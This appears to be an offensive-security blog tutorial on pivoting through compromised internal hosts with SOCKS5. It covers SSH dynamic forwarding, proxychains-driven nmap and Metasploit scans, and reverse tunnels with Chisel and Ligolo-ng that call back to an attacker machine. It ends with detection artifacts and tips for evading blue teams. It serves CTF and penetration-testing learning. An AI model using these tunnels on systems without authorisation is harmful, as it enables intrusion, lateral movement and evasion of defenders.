Offensive Security

Pivoting Through Compromised Hosts with SOCKS5 Tunnels

4 min read Published Updated 745 words

A single compromised host on an internal network is useless without a reliable pivot path. SOCKS5 tunnels over SSH provide the lowest-latency, most tool-agnostic method for lateral movement — yet most operators misconfigure them or leave forensic breadcrumbs that a competent blue team will spot in seconds. In 2024, a properly set up SOCKS5 proxy still beats HTTP CONNECT proxies for raw TCP throughput, and with tools like proxychains-ng and Chisel, you can route nmap, Metasploit, and custom scripts through a single SSH session without touching the target’s firewall rules.

Why SOCKS5 Over SSH Beats Port Forwarding

Static local port forwarding (-L) forces you to map every remote service to a local port before you can interact with it. If you need to scan a /24 subnet, you would have to create 254 separate forwards. SOCKS5 dynamic forwarding (-D) solves this by exposing a local SOCKS5 proxy that routes any TCP connection through the SSH tunnel to the remote host. The protocol is defined in RFC 1928 and handles authentication, UDP (optional), and IPv6. In practice, you get a single local listener — typically on 127.0.0.1:1080 — and every tool that supports SOCKS proxies can use it. The overhead is negligible: SSH’s encryption adds maybe 5-10% CPU, but the latency is far lower than a VPN or a reverse port forward through a web shell.

Setting Up a SOCKS5 Listener on a Linux Foothold

Assume you have a shell on a Linux host inside the target network. The fastest way to establish a pivot is to run ssh -D 1080 -N -f user@your-listener from the compromised host back to your attack machine. But that requires outbound SSH access, which may be blocked. Instead, run the dynamic forward from your attack machine to the compromised host:

ssh -D 1080 -N -f compromised_user@compromised_host

This opens a SOCKS5 proxy on your local port 1080. Now configure proxychains-ng (/etc/proxychains.conf) to use that proxy:

socks5 127.0.0.1 1080

Then run any TCP tool through the tunnel:

proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24

Note that nmap requires -sT (TCP connect scan) because SOCKS5 does not support raw SYN packets. For Metasploit, set setg Proxies socks5:127.0.0.1:1080 and all auxiliary and exploit modules will route through the pivot. This technique works in CTF environments like Hack The Box or Proving Grounds where the goal is to reach a second subnet.

Chisel, Ligolo-ng, and the Trade-Offs

When SSH is unavailable — perhaps the target runs Windows or has no SSH server — alternative tunneling tools fill the gap. Chisel uses a Go-based client and server that tunnel TCP over HTTP/HTTPS. Run the server on your attack box: chisel server -p 8000 --reverse. On the compromised host, run the client: chisel client your_ip:8000 R:socks. This gives you a SOCKS5 listener on the server side. Chisel is fast and works through restrictive egress filters, but its traffic is not encrypted by default — wrap it in TLS or use SSH if you care about opsec.

Ligolo-ng takes a different approach: it creates a network tunnel at Layer 3 using TUN/TAP interfaces. Instead of SOCKS5, you route entire IP ranges through the pivot. This means you can run nmap -sS (SYN scan) without proxychains. The trade-off is administrative overhead: you need root on both ends, and the tunnel setup requires adding routes on your attack machine. For CTFs where you control both sides, Ligolo-ng is faster. In real engagements, the SOCKS5 approach is more portable because it works without elevated privileges on the pivot host.

Detection Signals Attackers Leave Behind

Every pivot method leaves artifacts. The SSH dynamic forward creates a listening socket on the compromised host — ss -tlnp shows an ssh process bound to 127.0.0.1:1080. Blue teams can correlate this with outbound SSH connections to an external IP. Chisel’s client process is named chisel by default — trivial to detect with process monitoring. Ligolo-ng requires a TUN device (ip link show), which is abnormal on a server.

Worse, many operators forget to clean up. The SSH session remains until the remote host kills it or the connection drops. Proxychains leaves no local artifacts, but the nmap traffic itself — unusual port scans originating from a host that normally does not scan — triggers IDS alerts. The most common mistake is reusing the default SOCKS5 port 1080. Change it to a high ephemeral port (e.g., ssh -D 53421) and alias the proxychains configuration to avoid leaving a default config file. In a CTF, none of this matters. In a real penetration test, these signals are how you get caught.